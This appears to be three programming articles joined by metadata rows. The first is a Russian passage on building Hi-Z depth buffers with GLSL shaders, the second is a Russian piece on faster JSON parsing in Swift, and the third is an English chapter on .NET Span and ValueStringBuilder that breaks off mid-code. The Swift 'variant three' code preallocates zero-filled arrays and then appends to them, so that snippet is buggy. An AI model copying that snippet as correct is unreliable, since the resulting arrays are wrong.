Затем для случаев, в которых требуется только один уровень даунсэмплинга, я продемонстрирую, как сгенерировать этот уровень при помощи одного вызова вычислительного (compute) шейдера, использующего атомарные операции в общей памяти рабочей группы. Для моего приложения, где требуется только разрешение 1/16 x 1/16 (mip-уровень 4), способ с вычислительным шейдером в **2-3 раза быстрее**, чем обычный подход с даунсэмплингом mip-цепочки в несколько проходов.
Введение
========
Иерархические глубины (также называемые Hi-Z) — это часто используемая в 3D-графике техника. Она используется для ускорения усечения невидимой геометрии (occlusion culling) (в [CPU](https://software.intel.com/en-us/articles/software-occlusion-culling), а [также](http://rastergrid.com/blog/2010/10/hierarchical-z-map-based-occlusion-culling/) в [GPU](https://interplayoflight.wordpress.com/2017/11/15/experiments-in-gpu-based-occlusion-culling/)), вычислений [отражений в экранном пространстве](http://bitsquid.blogspot.com/2017/08/notes-on-screen-space-hiz-tracing.html), [объёмного тумана](https://bartwronski.files.wordpress.com/2014/08/bwronski_volumetric_fog_siggraph2014.pdf) и многого другого.
Кроме того, в GPU [Hi-Z часто реализуется](https://pdfs.semanticscholar.org/ef95/d232b78146cc16e6212cc062fb622136f3f3.pdf) как часть конвейера растеризации. Быстрые операции поиска Hi-Z в кэшах на чипе позволяют целиком пропускать тайлы фрагментов, если они полностью закрыты ранее отрендеренными примитивами.
Базовая идея Hi-Z заключается в ускорении операций запросов глубин благодаря считыванию из буферов меньшего разрешения. Это быстрее, чем считывание из буфера глубин полного разрешения, по двум причинам:
1. Один тексел (или всего несколько текселов) буфера пониженного разрешения можно использовать как приближенное значение множества текселов буфера высокого разрешения.
2. Буфер меньшего разрешения может быть достаточно маленьким и помещаться в кэш, что сильно ускоряет выполнение операций поиска (особенно с произвольным доступом).
Содержимое даунсэмплированных уровней буфера Hi-Z зависит от способа их использования (будет ли буфер глубин [«инвертирован»](https://developer.nvidia.com/content/depth-precision-visualized), какие типы запросов должны использоваться). В общем случае тексел на уровне буфера Hi-Z хранит `min` или `max` всех текселов, соответствующих ему на предыдущем уровне. Иногда одновременно хранятся значения `min` и `max`. Простые усреднённые значения (которые часто используются в mip-уровнях обычных текстур) используются нечасто, потому что они редко полезны для подобных типов запросов.
Буферы Hi-Z чаще всего запрашиваются почти сразу на выходе, чтобы избежать дальнейшей обработки и выполнения более точных операций поиска в буфере полного разрешения. Например, если мы храним значения `max` для неинвертированного буфера глубин (в которых чем больше значение глубины, тем дальше находится объект), то можем быстро совершенно точно определить, перекрыта ли конкретная позиция в экранном пространстве буфером глубин (если её координата Z > значения (max), сохранённого в какой-то более высоком уровне (то есть с пониженным разрешением) буфера Hi-Z).
Обратите внимание на то, что я использовал фразу «совершенно точно»: если координата Z <= полученному значению (max), то неизвестно, перекрывает ли её буфер. В некоторых областях применения в случаях неопределённости может потребоваться поиск в буфере глубин полного разрешения; в других случаях этого не требуется (например, если на кону стоят только лишние вычисления, а не правильность рендеринга).
Моё приложение: рендеринг частиц в вычислительном шейдере
=========================================================
Я столкнулся с необходимостью использования Hi-Z при реализации [рендеринга частиц в вычислительном шейдере](https://miketuritzin.com/post/rendering-particles-with-compute-shaders/) в движке моего VR-приложения [PARTICULATE](https://miketuritzin.com/particulate/). Поскольку эта техника рендеринга не использует растеризацию фиксированными функциями, ей нужно применять собственную проверку глубин для каждой частицы размером один пиксель. А так как частицы никак не сортируются, доступ к буферу глубин оказывается (в худшем из случаев) практически случайным.
Операции поиска по полноэкранной текстуре с произвольным доступом — путь к низкой производительности. Чтобы снизить нагрузку, я сначала выполняют поиск глубин в уменьшенном буфере глубин разрешением 1/16 x 1/16 от исходного. Этот буфер содержит значения глубин `min`, что позволяет вычислительному шейдеру рендеринга для подавляющего большинства видимых частиц пропускать тест глубин полного разрешения. (Если глубина частицы < минимальной глубины, хранящейся в буфере пониженного разрешения, то мы знаем, что она совершенно точно видна. Если она >= min, то нам нужно проверить буфер глубин полного разрешения.)
Благодаря этому тест глубин для видимых частиц в общем случае становится малозатратной операцией. (Для перекрытых геометрией частиц он более затратен, но это нас устраивает, потому что это не вызывает затрат на рендеринг, поэтому частицы по-прежнему требуют мало вычислений.)
Благодаря тому, что поиск сначала выполняется в буфере глубин пониженного разрешения (как сказано выше), **время рендеринга частиц снижается максимум на 35%** по сравнению со случаем, когда поиск выполняется только в буфере полного разрешения. Поэтому для моего приложения Hi-Z очень выгоден.
Теперь мы рассмотрим две техники генерирования иерархического буфера глубин.
Техника 1: генерация полной Mip-цепочки
=======================================
Во многих областях использования Hi-Z требуется создание полной mip-цепочки буфера глубин. Например, при выполнении occlusion culling с помощью Hi-Z ограничивающий объём проецируется в экранное пространство и спроецированный размер используется для выбора подходящего mip-уровня (чтобы в каждой проверке перекрытия участвовало фиксированное количество текселов).
Генерирование mip-цепочки из буфера глубин полного разрешения обычно является простой задачей — для каждого тексела на уровне N мы берём `max` (или `min`, или оба значения) соответствующих 4 текселов в ранее сгенерированном уровне N-1. Выполняем последовательные проходы (каждый раз вдвое уменьшая размеры), пока не получим последний mip-уровень размером 1x1.
Однако в случае буферов глубин, размеры которых не соответствуют степеням двойки, всё сложнее. Так как Hi-Z для буферов глубин часто строится из стандартных разрешений экрана (которые редко являются степенями двойки), нам нужно найти надёжное решение этой задачи.
Давайте сначала определимся с тем, что будет обозначать значение каждого тексела mip-уровня буфера глубин. В этой статье мы будем считать, что mip-цепочка хранит значения `min`. Операции поиска глубины должны использовать фильтрацию ближайших соседей, потому что интерполяция значений `min` бесполезна для нас и будет вредить иерархической природе создаваемой mip-цепочки глубин.
Итак, что же конкретно будет означать получаемое нами значение отдельного тексела на mip-уровне N? Это должно быть минимальное значение (`min`) из всех текселов полноэкранного буфера глубин, занимающего то же пространство в (нормализованном) пространстве координат текстуры.
Иными словами, если отдельная координата текстуры (в интервале ![$[0, 1]^2$](https://habrastorage.org/getpro/habr/formulas/446/120/9fb/4461209fb31a93beb7f34775d0b85091.svg)) сопоставляется (при помощи фильтрации ближайших соседей) отдельному текселу буфера полного разрешения, то этот тексел полного разрешения должен рассматриваться кандидатом на значение `min`, вычисляемое для тексела в каждом последующем более высоком mip-уровне, с которым сопоставляется та же координата текстуры.
Если это соответствие гарантируется, то мы будем уверены, что операция поиска на высоких mip-уровнях никогда не вернёт значение глубины > значения тексела в той же координате текстуры, соответствующей буферу полного разрешения (уровень 0). В случае отдельного N, эта гарантия сохраняется для всех уровней ниже него (< N).
Для чётных размерностей (а в случае буферов полного разрешения, являющихся степенями двойки, чётными будут размерности на каждом уровне до самого последнего, где размеры становятся равными 1) это сделать легко. В одномерном случае для тексела с индексом  на уровне N нам нужно взять текселы на уровне N-1 с индексами  и  и найти их значение `min`. То есть ![$D_{N}[i] = \text{min}(D_{N-1}[2i], D_{N-1}[2i + 1])$](https://habrastorage.org/getpro/habr/formulas/039/a6d/3fe/039a6d3fe7510c10c190f57ef84707fd.svg). Мы можем напрямую сопоставить текселы в отношении «2 к 1» (а значит, и размеры координат текстур), ведь размер каждого уровня ровно в два раза меньше предыдущего.
*Пример чётных размеров уровней: 6 текселов на этом уровне уменьшаются до 3 на более высоком уровне. Размеры координат текстур каждого из трёх текселов высокого уровня точно накладываются на каждые два тексела нижнего уровня. (Точки — это центры текселов, а квадраты — это размеры координаты текстуры при использовании фильтрации ближайших соседей.)*
В случае нечётных размеров уровней (а у буферов полного разрешения, размер которых не является степенью двойки, будет хотя бы один уровень с нечётным размером) всё становится сложнее. Для уровня N-1 нечётного размера  размер следующего уровня (N) будет равен , то есть .
Это означает, что теперь у нас нет чёткого сопоставления «2 к 1» текселов уровня N-1 к текселам уровня N. Теперь размер координаты текстуры каждого тексела на уровне N накладывается на размер *3* текселов на уровне N-1.
*Пример нечётных размеров уровня: 7 текселов этого уровня уменьшаются до 3 текселов на следующем уровне. Размеры координаты текстуры трёх текселов высокого уровня накладываются на размеры трёх текселов из нижнего уровня.*
Следовательно ![$D_{N}[i] = \text{min}(D_{N-1}[2i], D_{N-1}[2i + 1], D_{N-1}[2i + 2])$](https://habrastorage.org/getpro/habr/formulas/9b3/16d/480/9b316d48078888bce8fc24094caf1f99.svg). Это означает, что один тексел на уровне N-1 иногда влияет на значение `min`, вычисленное для *2* текселов на уровне N. Это необходимо для сохранения описанного выше сопоставления.
Описание выше для простоты было представлено всего в одном измерении. В двух измерениях, если обе размерности уровня N-1 являются чётными, то область текселов 2x2 на уровне N-1 сопоставляется с одним текселом на уровне N. Если одна из размерностей нечётна, то область 2x3 или 3x2 на уровне N-1 сопоставляется с одним текселом на уровне N. Если нечётны *обе* размерности, то следует также учитывать «угловой» тексел, то есть область 3x3 на уровне N-1 сопоставляется с одним текселом на уровне N.
Пример кода
-----------
Показанный ниже код шейдера на GLSL реализует описанный нами алгоритм. Он должен выполняться для каждого последующего mip-начиная с уровня 1 (уровень 0 — это уровень полного разрешения).
```
uniform sampler2D u_depthBuffer;
uniform int u_previousLevel;
uniform ivec2 u_previousLevelDimensions;
void main() {
ivec2 thisLevelTexelCoord = ivec2(gl_FragCoord);
ivec2 previousLevelBaseTexelCoord = 2 * thisLevelTexelCoord;
vec4 depthTexelValues;
depthTexelValues.x = texelFetch(u_depthBuffer,
previousLevelBaseTexelCoord,
u_previousLevel).r;
depthTexelValues.y = texelFetch(u_depthBuffer,
previousLevelBaseTexelCoord + ivec2(1, 0),
u_previousLevel).r;
depthTexelValues.z = texelFetch(u_depthBuffer,
previousLevelBaseTexelCoord + ivec2(1, 1),
u_previousLevel).r;
depthTexelValues.w = texelFetch(u_depthBuffer,
previousLevelBaseTexelCoord + ivec2(0, 1),
u_previousLevel).r;
float minDepth = min(min(depthTexelValues.x, depthTexelValues.y),
min(depthTexelValues.z, depthTexelValues.w));
// Incorporate additional texels if the previous level's width or height (or both)
// are odd.
bool shouldIncludeExtraColumnFromPreviousLevel = ((u_previousLevelDimensions.x & 1) != 0);
bool shouldIncludeExtraRowFromPreviousLevel = ((u_previousLevelDimensions.y & 1) != 0);
if (shouldIncludeExtraColumnFromPreviousLevel) {
vec2 extraColumnTexelValues;
extraColumnTexelValues.x = texelFetch(u_depthBuffer,
previousLevelBaseTexelCoord + ivec2(2, 0),
u_previousLevel).r;
extraColumnTexelValues.y = texelFetch(u_depthBuffer,
previousLevelBaseTexelCoord + ivec2(2, 1),
u_previousLevel).r;
// In the case where the width and height are both odd, need to include the
// 'corner' value as well.
if (shouldIncludeExtraRowFromPreviousLevel) {
float cornerTexelValue = texelFetch(u_depthBuffer,
previousLevelBaseTexelCoord + ivec2(2, 2),
u_previousLevel).r;
minDepth = min(minDepth, cornerTexelValue);
}
minDepth = min(minDepth, min(extraColumnTexelValues.x, extraColumnTexelValues.y));
}
if (shouldIncludeExtraRowFromPreviousLevel) {
vec2 extraRowTexelValues;
extraRowTexelValues.x = texelFetch(u_depthBuffer,
previousLevelBaseTexelCoord + ivec2(0, 2),
u_previousLevel).r;
extraRowTexelValues.y = texelFetch(u_depthBuffer,
previousLevelBaseTexelCoord + ivec2(1, 2),
u_previousLevel).r;
minDepth = min(minDepth, min(extraRowTexelValues.x, extraRowTexelValues.y));
}
gl_FragDepth = minDepth;
}
```
Изъяны этого кода
-----------------
Во-первых, в случае буферов глубин полного разрешения, у которых одна размерность в два с лишним раза больше другой размерности, индексы вызовов `texelFetch` могут выйти за пределы `u_depthBuffer`. (В таких случаях меньшая размерность превращается в 1 прежде, чем другая.) Я хотел использовать в этом примере `texelFetch` (использующий целочисленные координаты), чтобы происходящее было как можно более понятным, и не сталкивался лично с такими особо широкими/высокими буферами глубин. Если у вас возникнут такие проблемы, то можно ограничить (`clamp`) передаваемые `texelFetch` координаты или использовать `texture` и нормализованные координаты текстуры (в сэмплере задав ограничение по краю). При вычислении `min` или `max` стоит всегда рассматривать один тексел несколько раз на наличие пограничных случаев.
Во-вторых, несмотря на то, что первые четыре вызова `texelFetch` можно заменить одним `textureGather`, это всё усложняет (так как `textureGather` не может указывать mip-уровень); кроме того, я не заметил повышения скорости работы при использовании `textureGather`.
Производительность
------------------
Я использовал приведённый выше фрагментный шейдер для генерации двух полных mip-цепочек для двух (по одному на каждый глаз) буферов глубин в своём VR-движке. В тесте разрешение для каждого глаза составляло 1648x1776, что привело к созданию 10 дополнительных уменьшенных mip-уровней (а значит, 10 проходов). На генерацию полной цепочки для обоих глаз потребовалось 0,25 мс на NVIDIA GTX 980 и 0,30 мс на AMD R9 290.
*Mip-уровни 4, 5 и 6, сгенерированные из буфера глубин, соответствующего показанному выше цветовому буферу. (Стоит учесть, что бОльшая часть сцены прозрачна, а значит, не влияет на буфер глубин.) Mip-уровень 4 — первый, в котором размеры (103x111) не делятся нацело на 2.*
Альтернативный способ генерации mip-цепочки
-------------------------------------------
Задача описанного выше алгоритма заключается в сохранении точности запросов глубины в пространстве координат текстуры (или NDC). Для полноты (и потому, что я отказался от этой гарантии в представленной ниже технике 2) я хотел бы продемонстрировать ещё один способ, который мне встречался (например, в [этой статье](http://rastergrid.com/blog/2010/10/hierarchical-z-map-based-occlusion-culling/)).
Учтите, что, как и предыдущий, этот альтернативный способ предназначен для работы с буферами полного разрешения, размеры которых не являются степенями двойки (но, разумеется, они работают и с размерами, равными степеням двойки).
В этом альтернативном способе при даунсэмплинге уровня с нечётной шириной (или высотой) вместо добавления для каждого выходного тексела дополнительного столбца (или строки) текселов из предыдущего (нижнего) уровня, мы выполняем эту операцию только для выходных текселов с максимальными индексами («крайних» текселов). Единственное, что это изменяет в представленном выше фрагментном шейдере — задание значений `shouldIncludeExtraColumnFromPreviousLevel` и `shouldIncludeExtraRowFromPreviousLevel`:
```
// If the previous level's width is odd and this is the highest-indexed "edge" texel for
// this level, incorporate the rightmost edge texels from the previous level. The same goes
// for the height.
bool shouldIncludeExtraColumnFromPreviousLevel =
(previousMipLevelBaseTexelCoords.x == u_previousLevelDimensions.x - 3);
bool shouldIncludeExtraRowFromPreviousLevel =
(previousMipLevelBaseTexelCoords.y == u_previousLevelDimensions.y - 3);
```
Из-за этого крайние текселы с наибольшим индексом становятся очень «толстыми», так как каждое деление на 2 нечётной размерности приводит к тому, что они занимают пропорционально всё больший интервал нормализованного пространства координат текстуры.
Недостаток такого подхода заключается в том, что становится сложнее выполнять запросы глубин высоких mip-уровней. Вместо того, чтобы просто использовать нормализованные координаты текстуры, мы сначала должны определить тексел полного разрешения, соответствующий этим координатам, а затем перенести координаты этого тексела на координаты соответствующего mip-уровня, запрос которого выполняется.
Показанный ниже фрагмент кода выполняет перенос из пространства NDC ![$[-1, 1]^2$](https://habrastorage.org/getpro/habr/formulas/1e9/4ef/4f4/1e94ef4f4d9b1ab2636edf20acdbdcd6.svg) в координаты текселов на mip-уровне `higherMipLevel`:
```
vec2 windowCoords = (0.5 * ndc.xy + vec2(0.5)) * textureSize(u_depthBuffer, 0);
// Account for texel centers being halfway between integers.
ivec2 texelCoords = ivec2(round(windowCoords.xy - vec2(0.5)));
ivec2 higherMipLevelTexelCoords =
min(texelCoords / (1 << higherMipLevel),
textureSize(u_depthBuffer, higherMipLevel).xy - ivec2(1));
```
Техника 2: генерация одного уровня Hi-Z при помощи вычислительного шейдера
==========================================================================
Генерация полной mip-цепочки выполняется довольно быстро, но меня немного напрягало то, что моё приложение генерирует все эти уровни, а использует только один из них (уровень 4). Кроме устранения этой небольшой неэффективности, мне также хотелось посмотреть, насколько можно всё ускорить, если использовать для генерации только нужного мне уровня один вызов вычислительного шейдера (compute shader). (Стоит заметить, что моё приложение может останавливаться на уровне 4 при использовании решения с многопроходным фрагментным шейдером, поэтому в конце этого раздела я использовал его как основу для сравнения времени выполнения.)
В большинстве случаев использования Hi-Z требуется только один уровень глубин, поэтому я считаю, что такая ситуация встречается часто. Я написал вычислительный шейдер под собственные специфические требования (генерирование уровня 4, имеющего разрешение 1/16 x 1/16 от исходного). Похожий код можно использовать для генерации разных уровней.
Вычислительный шейдер хорошо подходит для решения этой задачи, потому что он может использовать общую память рабочей группы для обмена данными между потоками. Каждая рабочая группа отвечает за один выходной тексел (уменьшенного даунсэмплингом буфера), а потоки рабочей группы разделяют работу по вычислению `min` соответствующих текселов полного разрешения, обмениваясь результатами через общую память.
Я попробовал два основных решения на основе вычислительных шейдеров. В первом каждый поток вызывал `atomicMin` для одной переменной общей памяти.
Учтите, что поскольку программисты не могут (без расширений под «железо» конкретного производителя) выполнять атомарные операции над нецелочисленными значениями (а мои глубины хранятся как `float`), здесь необходим какой-то трюк. Поскольку неотрицательные значения с плавающей запятой стандарта IEEE 754 сохраняют свой порядок, когда их биты обрабатываются как беззнаковые целочисленные значения, мы можем использовать `floatBitsToUint`, чтобы привести (при помощи reinterpret cast) значения глубин `float` к `uint`, а потом вызвать `atomicMin` (чтобы затем выполнить `uintBitsToFloat` для готового минимального значения `uint`).
Наиболее очевидным решением с `atomicMin` стало бы создание 16x16 групп потоков, в которых каждый поток получает один тексел, а затем выполняет его `atomicMin` со значением в общей памяти. Я сравнил такой подход с использованием блоков потоков меньшего размера (8x8, 4x8, 4x4, 2x4, 2x2), в которых каждый поток получает область текселов и вычисляет собственный локальный минимум, а затем вызывает `atomicMin`.
Самым быстрым из всех этих протестированных решений с `atomicMin` и на NVIDIA, и на AMD оказалось решение с блоками потоков 4x4 (при котором каждый поток сам получает область текселов размером 4x4). Я не совсем понимаю, почему этот вариант оказался самым быстрым, но возможно, он отражает компромисс между конкуренцией атомарных операций и вычислениями в независимых потоках. Стоит также заметить, что размер рабочей группы 4x4 использует всего 16 потоков на warp/wave (а возможно использовать ещё и 32 или 64), что любопытно. В показанном ниже примере реализован этот подход.
В качестве альтернативы использованию `atomicMin` я попытался выполнять параллельное уменьшение при помощи техник, использованных в [этой активно цитируемой презентации NVIDIA](http://developer.download.nvidia.com/compute/cuda/1.1-Beta/x86_website/projects/reduction/doc/reduction.pdf). (Основная идея заключается в использовании массива общей памяти того же размера, что и количество потоков в рабочей группе, а также  проходов для последовательного совместного вычисления `min` минимумов каждого потока, пока не будет получен окончательный минимум всей рабочей группы.)
Я попробовал это решение со всеми теми же размерами рабочих групп, что и в решении с `atomicMin`. Даже со всеми оптимизациями, описанными в презентации NVIDIA, решение с параллельным уменьшением слегка медленнее (на обоих GPU в пределах десятка процентов), чем решение с `atomicMin`, к которому пришёл я. Кроме того, решение с `atomicMin` значительно проще с точки зрения кода.
Пример кода
-----------
При таком способе проще всего не стараться поддерживать соответствие в нормализованном пространстве координат текстуры между текселами уменьшенных буферов и полного разрешения. Можно просто выполнять преобразования из координат текселов полного разрешения в координаты текселов уменьшенного разрешения:
```
ivec2 reducedResTexelCoords = texelCoords / ivec2(downscalingFactor);
```
В моём случае (генерирование эквивалента mip-уровня 4) `downscalingFactor` равен 16.
Как сказано выше, этот вычислительный шейдер GLSL реализует решение с `atomicMin` с размером рабочих групп 4x4, где каждый поток получает из буфера полного разрешения область текселов размером 4x4. Получившийся уменьшенный буфер глубин значений `min` равен 1/16 x 1/16 от размера буфера полного разрешения (с округлением вверх, когда размеры полного разрешения не делятся на 16 нацело).
```
uniform sampler2D u_inputDepthBuffer;
uniform restrict writeonly image2DArray u_outputDownsampledMinDepthBufferImage;
// The dimension in normalized texture coordinate space of a single texel in
// u_inputDepthBuffer.
uniform vec2 u_texelDimensions;
// Resulting image is 1/16th x 1/16th resolution, but we fetch 4x4 texels per thread, hence
// the divisions by 4 here.
layout(local_size_x = 16/4, local_size_y = 16/4, local_size_z = 1) in;
// This is stored as uint because atomicMin only works on integer types. Luckily
// (non-negative) floats maintain their order when their bits are interpreted as uint (using
// floatBitsToUint).
shared uint s_workgroupMinDepthEncodedAsUint;
void main() {
if (gl_LocalInvocationIndex == 0) {
// Initialize to 1.0 (max depth) before performing atomicMin's.
s_workgroupMinDepthEncodedAsUint = floatBitsToUint(1.0);
}
memoryBarrierShared();
barrier();
// Fetch a 4x4 texel region per thread with 4 calls to textureGather. 'gatherCoords'
// are set up to be equidistant from the centers of the 4 texels being gathered (which
// puts them on integer values). In my tests textureGather was not faster than
// individually fetching each texel - I use it here only for conciseness.
//
// Note that in the case of the full-res depth buffer's dimensions not being evenly
// divisible by the downscaling factor (16), these textureGather's may try to fetch
// out-of-bounds coordinates - that's fine as long as the texture sampler is set to
// clamp-to-edge, as redundant values don't affect the resulting min.
uvec2 baseTexelCoords = 4 * gl_GlobalInvocationID.xy;
vec2 gatherCoords1 = (baseTexelCoords + uvec2(1, 1)) * u_texelDimensions;
vec2 gatherCoords2 = (baseTexelCoords + uvec2(3, 1)) * u_texelDimensions;
vec2 gatherCoords3 = (baseTexelCoords + uvec2(1, 3)) * u_texelDimensions;
vec2 gatherCoords4 = (baseTexelCoords + uvec2(3, 3)) * u_texelDimensions;
vec4 gatheredTexelValues1 = textureGather(u_inputDepthBuffer, gatherCoords1);
vec4 gatheredTexelValues2 = textureGather(u_inputDepthBuffer, gatherCoords2);
vec4 gatheredTexelValues3 = textureGather(u_inputDepthBuffer, gatherCoords3);
vec4 gatheredTexelValues4 = textureGather(u_inputDepthBuffer, gatherCoords4);
// Now find the min across the 4x4 region fetched, and apply that to the workgroup min
// using atomicMin.
vec4 gatheredTexelMins = min(min(gatheredTexelValues1, gatheredTexelValues2),
min(gatheredTexelValues3, gatheredTexelValues4));
float finalMin = min(min(gatheredTexelMins.x, gatheredTexelMins.y),
min(gatheredTexelMins.z, gatheredTexelMins.w));
atomicMin(s_workgroupMinDepthEncodedAsUint, floatBitsToUint(finalMin));
memoryBarrierShared();
barrier();
// Thread 0 writes workgroup-wide min to image.
if (gl_LocalInvocationIndex == 0) {
float workgroupMinDepth = uintBitsToFloat(s_workgroupMinDepthEncodedAsUint);
imageStore(u_outputDownsampledMinDepthBufferImage,
ivec2(gl_WorkGroupID.xy),
// imageStore can only be passed vec4, but only a float is stored.
vec4(workgroupMinDepth));
}
}
```
Производительность
------------------
Я использовал приведённый выше вычислительный шейдер для обработки буфера глубин полного разрешения с теми же размерами, которые использовались для генерации полной mip-цепочки (буферы 1648x1776 для каждого глаза). Он выполняется за 0,12 мс на NVIDIA GTX 980 и за 0,08 мс на AMD R9 290. Если сравнивать со временем генерации только mip-уровней 1–4 (0,22 мс на NVIDIA, 0,25 мс AMD), то решение с вычислительным шейдером оказалось **на 87% быстрее у GPU NVIDIA** и **на 197% быстрее, чем у GPU AMD**.
В абсолютных величинах ускорение не такое уж и большое, но важны каждые 0,1 мс, особенно в VR :) | https://habr.com/ru/post/494376/ | null | ru | null |
# Быстрая работа с JSON в Swift
Работа с форматом JSON в Swift на первый взгляд не представляет особых сложностей, с одной стороны в стандартном наборе есть класс NSJSONSerialization который умеет парсить файлы, с другой стороны множество сторонних библиотек обещающих сделать этот процесс проще, а код нагляднее. В рамках же данной статьи я хотел бы рассмотреть как читать JSON файлы быстрее и почему очевидные подходы работают медленно.
И так, сначала стоит сформулировать решаемую задачу: есть некий достаточно объемный JSON (около 30 мегабайт) следующей структуры:
data -> [Node] -> [Item] -> id: String, pos: [Int], coo: [Double]
Требуется распарсить и получить массив объектов типа Item соответсвенно имеющих строковое поле id, поле pos — целочисленный массив и поле coo — массив чисел с плавающей точкой.
**Вариант первый — использование сторонней библиотеки:**
Надо сказать что все попавшиеся мне решения использовали в качестве парсера стандартный NSJSONSerialization, а свою задачу видели исключительно в добавлении “синтаксического сахара” и более строгой типизации. В качестве примера возьмем одну из наиболее популярных SwiftyJSON:
```
let json = JSON(data: data)
if let nodes = json["data"].array
{
for node in nodes
{
if let items = node.array
{
for item in items
{
if let id = item["id"].string,
let pos = item["pos"].arrayObject as? [Int],
let coo = item["coo"].arrayObject as? [Double]
{
Item(id: id, pos: pos, coo: coo)
}
}
}
}
}
```
На iPhone 6 выполнение данного кода заняло примерно 7.5 секунд, что непозволительно много для довольно быстрого устройства.
Для дальнейшего сравнение будем считать это время эталонным.
Теперь попробуем написать то же самое без использования SwiftyJSON.
**Вариант второй — использование «чистого» swift:**
```
let json = try! NSJSONSerialization.JSONObjectWithData(data, options: NSJSONReadingOptions())
if let nodes = (json as? [String: AnyObject])?["data"] as? [[[String: AnyObject]]]
{
for node in nodes
{
for item in node
{
if let id = item["id"] as? String,
let pos = item["pos"] as? [Int],
let coo = item["coo"] as? [Double]
{
Item(id: id, pos: pos, coo: coo)
}
}
}
}
```
Наш «велосипед» справился за 6 секунд (80% от изначального), но все равно очень долго.
Попробуем разобраться, профайлер подсказывает что строка:
```
let nodes = (json as? [String: AnyObject])?["data"] as? [[[String: AnyObject]]]
```
выполняется неожиданно долго.
Поведение класса NSJSONSerialization в Swift'е полностью аналогично его поведению в Objective C, а значит результатом парсинга будет некая иерархия состоящая из объектов типа NSDictionary, NSArray, NSNumber, NSString и NSNull. Данная же команда преобразует объекты этих классов в структуры Swift'а Array и Dictionary, а значит копирует данные! (Массивы в Swift более сходны с массивами в C++ чем в Objective C)
Чтобы избежать подобного копирования попробуем не использовать красивые типизированные массивы Swift'a.
**Вариант третий — без использования Array и Dictionary:**
```
let json = try! NSJSONSerialization.JSONObjectWithData(data, options: NSJSONReadingOptions())
if let nodes = (json as? NSDictionary)?["data"] as? NSArray
{
for node in nodes
{
if let node = node as? NSArray
{
for item in node
{
if let item = item as? NSDictionary,
let id = item["id"] as? NSString,
let pos = item["pos"] as? NSArray,
let coo = item["coo"] as? NSArray
{
var _pos = [Int](count: pos.count, repeatedValue: 0)
var _coo = [Double](count: coo.count, repeatedValue: 0)
for var i = 0; i < pos.count; i++
{
if let p = pos[i] as? NSNumber {
_pos.append(p.integerValue)
}
}
for var i = 0; i < coo.count; i++
{
if let c = coo[i] as? NSNumber {
_coo.append(c.doubleValue)
}
}
Item(id: String(id), pos: _pos, coo: _coo)
}
}
}
}
}
```
Выглядит, конечно, ужасно. Но нас интересует прежде всего скорость работы: 2 сек (почти в 4 раза быстрее SwiftyJSON!)
Таким образом исключив неявные преобразования можно добиться значительного увеличения в скорости. | https://habr.com/ru/post/274809/ | null | ru | null |
# Memory and Span pt.2
[](https://github.com/sidristij/dotnetbook)
### Span usage examples
A human by nature cannot fully understand the purpose of a certain instrument until he or she gets some experience. So, let’s turn to some examples.
#### ValueStringBuilder
One of the most interesting examples in respect to algorithms is the `ValueStringBuilder` type. However, it is buried deep inside mscorlib and marked with the `internal` modifier as many other very interesting data types. This means we would not find this remarkable instrument for optimization if we haven’t researched the mscorlib source code.
What is the main disadvantage of the `StringBuilder` system type? Its main drawback is the type and its basis — it is a reference type and is based on `char[]`, i.e. a character array. At least, this means two things: we use the heap (though not much) anyway and increase the chances to miss the CPU cash.
Another issue with `StringBuilder` that I faced is the construction of small strings, that is when the resulting string must be short e.g. less than 100 characters. Short formatting raises issues on performance.
> This chapter was translated from Russian jointly by author and by [professional translators](https://github.com/bartov-e). You can help us with translation from Russian or English into any other language, primarily into Chinese or German.
>
>
>
> Also, if you want thank us, the best way you can do that is to give us a star on github or to fork repository [ github/sidristij/dotnetbook](https://github.com/sidristij/dotnetbook).
>
>
```
$"{x} is in range [{min};{max}]"
```
To what extent is this variant worse than manual construction through `StringBuilder`? The answer is not always obvious. It depends on the place of construction and the frequency of calling this method. Initially, `string.Format` allocates memory for internal `StringBuilder` that will create an array of characters (SourceString.Length + args.Length \* 8). If during array construction it turns out that the length was incorrectly determined, another `StringBuilder` will be created to construct the rest. This will lead to the creation of a single linked list. As a result, it must return the constructed string which means another copying. That is a waste. It would be great if we could get rid of allocating the array of a formed string on the heap: this would solve one of our problems.
Let’s look at this type from the depth of `mscorlib`:
**ValueStringBuilder class**
[/src/mscorlib/shared/System/Text/ValueStringBuilder](https://github.com/dotnet/coreclr/blob/efebb38f3c18425c57f94ff910a50e038d13c848/src/mscorlib/shared/System/Text/ValueStringBuilder.cs)
```
internal ref struct ValueStringBuilder
{
// this field will be active if we have too many characters
private char[] _arrayToReturnToPool;
// this field will be the main
private Span \_chars;
private int \_pos;
// the type accepts the buffer from the outside, delegating the choice of its size to a calling party
public ValueStringBuilder(Span initialBuffer)
{
\_arrayToReturnToPool = null;
\_chars = initialBuffer;
\_pos = 0;
}
public int Length
{
get => \_pos;
set
{
int delta = value - \_pos;
if (delta > 0)
{
Append('\0', delta);
}
else
{
\_pos = value;
}
}
}
// Here we get the string by copying characters from the array into another array
public override string ToString()
{
var s = new string(\_chars.Slice(0, \_pos));
Clear();
return s;
}
// To insert a required character into the middle of the string
//you should add space into the characters of that string and then copy that character
public void Insert(int index, char value, int count)
{
if (\_pos > \_chars.Length - count)
{
Grow(count);
}
int remaining = \_pos - index;
\_chars.Slice(index, remaining).CopyTo(\_chars.Slice(index + count));
\_chars.Slice(index, count).Fill(value);
\_pos += count;
}
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public void Append(char c)
{
int pos = \_pos;
if (pos < \_chars.Length)
{
\_chars[pos] = c;
\_pos = pos + 1;
}
else
{
GrowAndAppend(c);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
private void GrowAndAppend(char c)
{
Grow(1);
Append(c);
}
// If the original array passed by the constructor wasn’t enough
// we allocate an array of a necessary size from the pool of free arrays
// It would be ideal if the algorithm considered
// discreteness of array size to avoid pool fragmentation.
[MethodImpl(MethodImplOptions.NoInlining)]
private void Grow(int requiredAdditionalCapacity)
{
Debug.Assert(requiredAdditionalCapacity > \_chars.Length - \_pos);
char[] poolArray = ArrayPool.Shared.Rent(Math.Max(\_pos + requiredAdditionalCapacity, \_chars.Length \* 2));
\_chars.CopyTo(poolArray);
char[] toReturn = \_arrayToReturnToPool;
\_chars = \_arrayToReturnToPool = poolArray;
if (toReturn != null)
{
ArrayPool.Shared.Return(toReturn);
}
}
[MethodImpl(MethodImplOptions.AggressiveInlining)]
private void Clear()
{
char[] toReturn = \_arrayToReturnToPool;
this = default; // for safety, to avoid using pooled array if this instance is erroneously appended to again
if (toReturn != null)
{
ArrayPool.Shared.Return(toReturn);
}
